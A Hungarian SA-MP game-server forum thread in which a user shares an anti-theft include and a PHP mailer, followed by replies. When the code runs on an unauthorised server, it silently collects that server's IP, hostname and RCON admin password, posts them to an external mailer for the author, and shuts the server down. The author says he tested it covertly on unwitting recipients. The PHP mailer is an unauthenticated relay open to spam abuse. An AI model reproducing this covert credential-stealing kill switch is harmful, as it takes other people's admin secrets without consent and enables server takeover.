Szerző Téma: ServerSaver Lopásgátló  (Megtekintve 5785 alkalommal)

ServerSaver Lopásgátló
« Dátum: 2014. március 25. - 17:53:56 »
+7 Show voters
ServerSaver Lopásgátló
Bevezetés:
Mivel új netem lett ezért a tesztszerveremre nem tudtak feljönni a haverjaim, ezért az ingyenes hostokhoz fordultam megoldás képen, de mivel sok rosszat halottam ezekrõl a hostokról és már találkoztam is olyan szervertulajokkal akiknek ellopták a módját ezért úgy döntöttem hogy nekiállok egy a módot védõ kis script megírásába.Miután kicsit körbe néztem a neten láttam hogy talán a legg jobb ha a szerverem ip címéhez kötöm a mód futását és így megszületett az 1.0 ás verzió ami nagyon jól bevált de még mindig volt egy hibája.Mégpedig az hogy annak ellenére, hogy az ellopott módot használhatatlanná tette még mindig nem tudtam arról hogy ellopták a módomat, ekkor újra gondolkodni kezdtem és eszembe jutott egy régebbi szerver ahol a szerverrõl lehetett e-mailt küldeni ezért nekiálltam keresgélni majd körülbelül  egy pár perc alatt meg is találtam amit kerestem egy külföldi fórumon, és így azt az include-t felhasználva megalkodtam a 2.0 ás verziót ami már egy értesítõ email-t is küldött a lopásról benne a szerver leg fontosabb adataival.
 
Az eredeti E-mail küldõ részrõl:
Mivel nem szerettem volna hogy a szerver-t levédõ rész és az e-mail küldõ rész szétváljon ezért egybe raktam a kettõt.
Eredeti e-mail küldõ neve:Mailer.inc
Eredeti Mailer feltöltõje:Slice
Eredeti Mailer Forumja:http://forum.sa-mp.com/showthread.php?t=197755
Berakás és beállítás:
(1) Tölsd le a szervert(link a leírás alján)
(2) Nyisd meg a ServerSaver.inc filet
(3) Tölsd fel a Mailer.php filet egy olyan honlapra/hostra ahol le tudod kérni az elérési utvonalát
(4) Másold be a ServerSaver.inc filet a server/pawno/include mappába

(5) Állítsd be a minta alapján1 IP cím esetén:

//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"//ide kerülnek az ip cimeid
#define ip1 \"non\"
#define ip2 \"non\"
#define E_mail \"[email protected]\"//ide ird be a saját e-mail címed
#define tulaj \"Sanyi\"//ide ird be a neved
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************


Több IP Cím esetén:




//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"
 
//ide kerülnek az ip cimeid
#define ip1 \"188.150.120.23:7777\"
 
//ide kerülnek az ip cimeid
#define ip2 \"non\"
#define E_mail \"[email protected]\"
 
//ide ird be a saját e-mail címed
#define tulaj \"Sanyi\"
 
//ide ird be a neved
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************

(6) Nyisd meg a levédeni kívánt Játékmódot és ted be ezt a main vagy az OnGamemodeInt alá

public OnGameModeInit()
{
IsServerClear();
}

(7) Nyisd meg a Server.cfg filet és új sorba add hozzá a bind (IPcímed port nékül) sortpélda:

echo Executing Server Config...
 
lanmode 0
weburl www.sa-mp.com
maxnpc 0
port 7834
incar_rate 40
hostname ASD
maxplayers 30
gamemode0 PLG
stream_distance 300.0
onfoot_rate 40
query 1
filterscripts TD
base
announce 1
weapon_rate 40
stream_rate 1000
rcon_password próbajelszó
logtimeformat [%H:%M:%S]
plugins streamer.dll sscanf.dll
bind 188.143.120.22

ezután kész is vagy a beállításokkal és már le is van védve a játékmódod

innentõl ha jól csináltál mindent akkor a server log ban ezt kell látnod:


[12:08:28] |||||||||||||||||||||||||||||||||||||
[12:08:28] _-------------------------------------_
[12:08:28] _|                                   |_
[12:08:28] _|  Szerver futtatása engedélyezve!  |_
[12:08:28] _|       Kellemes szórakozást!       |_
[12:08:28] _|                                   |_
[12:08:28] _-------------------------------------_
[12:08:28] |||||||||||||||||||||||||||||||||||||

Ha rosszúl irtad be az IP címed a beállításoknál vagy elopják a módot akkor ezt fogod/fogja látni a szerverlogban miután leállt a szerver:



[16:24:32] |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
[16:24:32] _+--------------------------------------------------------------------------+_
[16:24:32] _|  __                                                                  __  |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |__| |_
[16:24:32] _|  __  ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona!  __  |_
[16:24:32] _| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |__| |_
[16:24:32] _|                                                                          |_
[16:24:32] _+--------------------------------------------------------------------------+_
[16:24:32] |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

 
Teszt:
Teszt képen több embernek is elküldtem az egyik módom ezzel levédve és  mivel õk nem tudtak a védelemrõl ezért nagy örömmel és buzgósággal fogadták a legújabb módomat nem sejtve, hogy egy teszt részesei.A Védelem tökéletesen mûködött minden esetben leállította a szervereket és el is küldte a szerverek adatait.
Bug,Hiba:
Eddig nem találtam hibát benne nállam tökéletesen mûködikegyedüli problémálya hogy ha nincs a server.cfg be beirva a bind sor akkor az ip címet nem irja ki de ebbõl lehet arra állapítani hogy csak házi szerveren próbálták meg elindítani.
Letöltés:
http://www.solidfiles.com/d/5223484c20/serversaver.rar
Code:
 

#include <a_samp>
#include <a_http>
//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"
#define ip1 \"non\"
#define ip2 \"non\"
#define E_mail \"[email protected]\"
#define tulaj \"Sanyi\"
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************
 
#if ( !defined MAILER_MAX_MAIL_SIZE )
   #define MAILER_MAX_MAIL_SIZE  (1024)
#endif
 
#if ( !defined MAILER_URL )
   #error Please define MAILER_URL before including the mailer include.
#endif
forward timer();
public timer()
{
    SendRconCommand(\"exit\");
   return 1;
}
stock IsServerClear()
{
new Sip[64],ports,serverip[128],servername[100],rcon[128];
GetServerVarAsString(\"bind\", Sip, sizeof(Sip));
GetServerVarAsString(\"hostname\",servername, sizeof(servername));
GetServerVarAsString(\"rcon_password\",rcon, sizeof(rcon));
ports=GetServerVarAsInt(\"port\");
format(serverip,sizeof(serverip),\"%s:%d\",Sip,ports);
if(strcmp(serverip,ip0,true)==0||strcmp(serverip,ip1,true)==0||strcmp(serverip,ip2,true)==0)
{
print(\"|||||||||||||||||||||||||||||||||||||\");
print(\"_-------------------------------------_\");
print(\"_|                                   |_\");
print(\"_|  Szerver futtatása engedélyezve!  |_\");
print(\"_|       Kellemes szórakozást!       |_\");
print(\"_|                                   |_\");
print(\"_-------------------------------------_\");
print(\"|||||||||||||||||||||||||||||||||||||\");
}
else
{
print(\"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\");
print(\"_+--------------------------------------------------------------------------+_\");
print(\"_|  __                                                                  __  |_\");
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |__| |_\",tulaj);
printf(\"_|  __  ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!       __  |_\",tulaj);
printf(\"_| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |__| |_\",tulaj);
print(\"_|                                                                          |_\");
print(\"_+--------------------------------------------------------------------------+_\");
print(\"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\");
new uzenet[256],years,month,day,hour,minut;
getdate(years,month,day);
gettime(hour,minut);
format(uzenet,sizeof(uzenet),\"jogtalanul indították el a szervert!\\nSzerver IP: %s\\nSzerver név:%s\\nRcon jelszó:%s\\nDátum:%d.%d.%d\\nIdõ: %d:%d\",serverip,servername,rcon,years,month,day,hour,minut);
SendMail( E_mail, \"[email protected]\",\"MOD FIGYELO\",\"MOD LOPAS!\", uzenet );
SetTimer(\"timer\",500,false);
}
return 1;
}
stock SendMail( const szReceiver[ ], const szSenderMail[ ], const szSenderName[ ], const szSubject[ ], const szMessage[ ] )
{
   new
      szBuffer[ MAILER_MAX_MAIL_SIZE ] = \"t=\",
      iPos    = strlen( szBuffer ),
      iLength = strlen( szReceiver )
   ;
 
   memcpy( szBuffer, szReceiver, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&f=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szSenderName );
 
   memcpy( szBuffer, szSenderName, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&n=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szSenderMail );
 
   memcpy( szBuffer, szSenderMail, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&s=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szSubject );
 
   memcpy( szBuffer, szSubject, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&m=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szMessage );
 
   memcpy( szBuffer, szMessage, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   HTTP( 0xD00D, HTTP_POST, MAILER_URL, szBuffer, \"OnMailScriptResponse\" );
}
 
forward OnMailScriptResponse( iIndex, iResponseCode, const szData[ ] );
public  OnMailScriptResponse( iIndex, iResponseCode, const szData[ ] )
{
   if ( szData[ 0 ] )
      printf( \"Mailer script says: %s\", szData );
}
 
stock StringURLEncode( szString[ ], iSize = sizeof( szString ) )
{
   for ( new i = 0, l = strlen( szString ); i < l; i++ )
   {
      switch ( szString[ i ] )
      {
         case \'!\', \'(\', \')\', \'\\\'\', \'*\',
              \'0\' .. \'9\',
              \'A\' .. \'Z\',
              \'a\' .. \'z\':
         {
            continue;
         }
 
         case \' \':
         {
            szString[ i ] = \'+\';
 
            continue;
         }
      }
 
      new
         s_szHex[ 8 ]
      ;
 
      if ( i + 3 >= iSize )
      {
         szString[ i ] = EOS;
 
         break;
      }
 
      if ( l + 3 >= iSize )
         szString[ iSize - 3 ] = EOS;
 
      format( s_szHex, sizeof( s_szHex ), \"%02h\", szString[ i ] );
 
      szString[ i ] = \'%\';
 
      strins( szString, s_szHex, i + 1, iSize );
 
      l += 2;
      i += 2;
 
      if ( l > iSize - 1 )
         l = iSize - 1;
   }
}

 
php tartalma:
 

<?php
   ini_set( \'html_errors\', false );
   
   if ( empty( $_POST[ \'t\' ] ) || empty( $_POST[ \'f\' ] ) || empty( $_POST[ \'n\' ] ) || empty( $_POST[ \'s\' ] ) || empty( $_POST[ \'m\' ] ) )
      die( \'Error: Missing parameters.\' );
   
   mail(
      $_POST[ \'t\' ],
      utf8_encode( $_POST[ \'s\' ] ),
      $_POST[ \'m\' ],
      implode(
         \"\\r\\n\",
         array
         (
            \'From: \"\' . addslashes( $_POST[ \'f\' ] ) . \"\\\" <{$_POST[ \'n\' ]}>\",
            \"Reply-To: {$_POST[\'f\']}\",
            \"X-Mailer: PHP/\" . phpversion( ),
         )
      )
   );
?>
« Utoljára szerkesztve: 2014. március 25. - 18:30:09 írta solyom1992 »

ServerSaver Lopásgátló
« Válasz #1 Dátum: 2014. március 25. - 18:28:13 »
0 Show voters
[mod]Légyszíves a téma ikonját állítsd vissza standard-re![/mod]

Nem elérhető Blowy

  • 194
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #2 Dátum: 2014. március 25. - 18:32:49 »
0 Show voters
Nekem tetszik, szerintem jó lett :D


Én is kísérleti nyúl voltam -_- xd

Nem elérhető Kovacs_Richard

  • 1743
  • HRP Fejlesztő
  • Discord: Kovacs_Richard#0321
    • Profil megtekintése
    • Hun Role Play Web
ServerSaver Lopásgátló
« Válasz #3 Dátum: 2014. március 25. - 18:38:25 »
0 Show voters
én annyit még hozzátennék, hogy a PHP-ba is tegyél védelmet mert így valaki email floodernek tudja használni simán 1 javascripttel...
Régóta nem tevékenykedem, mint SA-MP scripter.
HRP Fejlesztő.

Nem elérhető huhboy

  • 894
  • huhboy
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #4 Dátum: 2014. március 26. - 00:31:52 »
0 Show voters
egy észrevétel...
ha kiveszed az OnGameModeInit alól a cuccot, és kiveszed az inclued-ot a modból, akkor már nem védi. Teháát...szerintem ez még így kevés. de ez csak egy észrevétel.

ServerSaver Lopásgátló
« Válasz #5 Dátum: 2014. március 26. - 06:17:01 »
+4 Show voters
Idézetet írta: huhboy date=1395790312\" data-ipsquote-contentapp=\"forums\" data-ipsquote-contenttype=\"forums\" data-ipsquote-contentid=\"47358\" data-ipsquote-contentclass=\"forums_Topic
egy észrevétel...
ha kiveszed az OnGameModeInit alól a cuccot, és kiveszed az inclued-ot a modból, akkor már nem védi. Teháát...szerintem ez még így kevés. de ez csak egy észrevétel.
 
Ki az a hülye, aki pwnt tölt fel a hostos szerverre? ;D
« Utoljára szerkesztve: 2014. március 26. - 10:41:30 írta kadaradam »

Nem elérhető huhboy

  • 894
  • huhboy
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #6 Dátum: 2014. március 26. - 12:10:29 »
0 Show voters
Idézetet írta: kadaradam date=1395811021\" data-ipsquote-contentapp=\"forums\" data-ipsquote-contenttype=\"forums\" data-ipsquote-contentid=\"47358\" data-ipsquote-contentclass=\"forums_Topic


egy észrevétel...
ha kiveszed az OnGameModeInit alól a cuccot, és kiveszed az inclued-ot a modból, akkor már nem védi. Teháát...szerintem ez még így kevés. de ez csak egy észrevétel.
 
Ki az a hülye, aki pwnt tölt fel a hostos szerverre? ;D
 
[/quote]
soroljak szerver neveket? xd köztük az enyém is...ugyanis aki gyakran húzza újra a gépét, annak így egyszerûbb :D

Nem elérhető SnooP

  • 1798
  • SnooP
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #7 Dátum: 2014. március 26. - 12:20:32 »
0 Show voters
Idézetet írta: huhboy date=1395832229\" data-ipsquote-contentapp=\"forums\" data-ipsquote-contenttype=\"forums\" data-ipsquote-contentid=\"47358\" data-ipsquote-contentclass=\"forums_Topic
soroljak szerver neveket? xd köztük az enyém is...ugyanis aki gyakran húzza újra a gépét, annak így egyszerûbb :D
 
Akkor látom te még nem ismered a dropbox feladatát. :D

Nem elérhető Kovacs_Richard

  • 1743
  • HRP Fejlesztő
  • Discord: Kovacs_Richard#0321
    • Profil megtekintése
    • Hun Role Play Web
ServerSaver Lopásgátló
« Válasz #8 Dátum: 2014. március 26. - 13:35:20 »
0 Show voters
ha pwn-t is felraksz akkor azt csak erõs jelszóval védett rar-ban ajánlott ha azt akarod ne nyúlják le...
Régóta nem tevékenykedem, mint SA-MP scripter.
HRP Fejlesztő.

ServerSaver Lopásgátló
« Válasz #9 Dátum: 2014. március 26. - 16:54:04 »
0 Show voters
amúgy is ez csak egy része a teljes védelemnek. én ez mellet még deamx et is használok és ez a kettõ így szerintem jó párosítás mivel visszafordítani nem tudják normálisan és még az amx filet se tudják felhasználni mert lekapcsol a szerver
ui.: aki sûrûn húzza újra a gépét annak talán egy külsõ merevlemezt vagy egy egyszerû pendrive-ot ajánlok az tuti lopásbiztos xd
« Utoljára szerkesztve: 2014. március 26. - 16:59:51 írta solyom1992 »

Nem elérhető BoOy

  • 3209
  • 2013-as év szkriptere
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #10 Dátum: 2014. március 26. - 19:14:34 »
+1 Show voters
Idézetet írta: huhboy date=1395832229\" data-ipsquote-contentapp=\"forums\" data-ipsquote-contenttype=\"forums\" data-ipsquote-contentid=\"47358\" data-ipsquote-contentclass=\"forums_Topic


 

egy észrevétel...
ha kiveszed az OnGameModeInit alól a cuccot, és kiveszed az inclued-ot a modból, akkor már nem védi. Teháát...szerintem ez még így kevés. de ez csak egy észrevétel.
 
Ki az a hülye, aki pwnt tölt fel a hostos szerverre? ;D
 
[/quote]
soroljak szerver neveket? xd köztük az enyém is...ugyanis aki gyakran húzza újra a gépét, annak így egyszerûbb :D
 
[/quote]
Editelt módokkal rendelkezõ szervereket inkább ne sorolj :D

Nem elérhető DVS

  • 302
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #11 Dátum: 2014. március 26. - 19:25:27 »
0 Show voters
Szép munka :)

Nem elérhető ZoleBB

  • 480
  • ZoleBB
    • Profil megtekintése
ServerSaver Lopásgátló
« Válasz #12 Dátum: 2014. március 26. - 19:31:06 »
0 Show voters
Köszi! Holnap kipróbálom, hogy milyen is az én szemszögemböl. :)

ServerSaver Lopásgátló
« Válasz #13 Dátum: 2014. március 29. - 16:59:18 »
0 Show voters
Köszi mûködik de ha én ide
#define MAILER_URL \"serversaver.webege.com/mailer.php 

 bármit beírok akkor is elindítja a gamemodot nem az a lényege hogy lekérje a mailer.php fájlt ?

Nem elérhető Kovacs_Richard

  • 1743
  • HRP Fejlesztő
  • Discord: Kovacs_Richard#0321
    • Profil megtekintése
    • Hun Role Play Web
ServerSaver Lopásgátló
« Válasz #14 Dátum: 2014. március 29. - 18:19:24 »
0 Show voters
Idézetet írta: jozsi0502 date=1396108758\" data-ipsquote-contentapp=\"forums\" data-ipsquote-contenttype=\"forums\" data-ipsquote-contentid=\"47358\" data-ipsquote-contentclass=\"forums_Topic
Köszi mûködik de ha én ide
#define MAILER_URL \"serversaver.webege.com/mailer.php 

 bármit beírok akkor is elindítja a gamemodot nem az a lényege hogy lekérje a mailer.php fájlt ?
 
annak csak az adatokat küldi és a php elküldi az emailt a megadott adatokkal...
Régóta nem tevékenykedem, mint SA-MP scripter.
HRP Fejlesztő.

 

SimplePortal 2.3.7 © 2008-2024, SimplePortal